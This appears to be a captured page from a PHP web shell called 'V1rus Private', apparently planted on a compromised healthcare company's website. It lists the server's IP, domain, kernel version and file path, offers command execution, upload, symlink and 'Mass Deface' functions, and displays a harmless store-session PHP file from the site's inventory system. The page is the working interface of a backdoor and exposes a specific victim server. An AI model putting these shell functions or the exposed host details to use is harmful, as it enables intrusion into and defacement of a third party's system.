V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
includes
/
Viewing: store_session.php
<?php // Store session management function set_current_store($store_id) { global $db; $store = find_by_id('stores', (int)$store_id); if($store) { $_SESSION['store_id'] = (int)$store_id; $_SESSION['store_name'] = $store['store_name']; return true; } return false; } function get_current_store_id() { return isset($_SESSION['store_id']) ? (int)$_SESSION['store_id'] : 1; // Default to store 1 } function get_current_store_name() { return isset($_SESSION['store_name']) ? $_SESSION['store_name'] : 'Main Store'; } function get_all_stores() { global $db; return find_all('stores'); } ?>
Coded With 💗 by
HanzOFC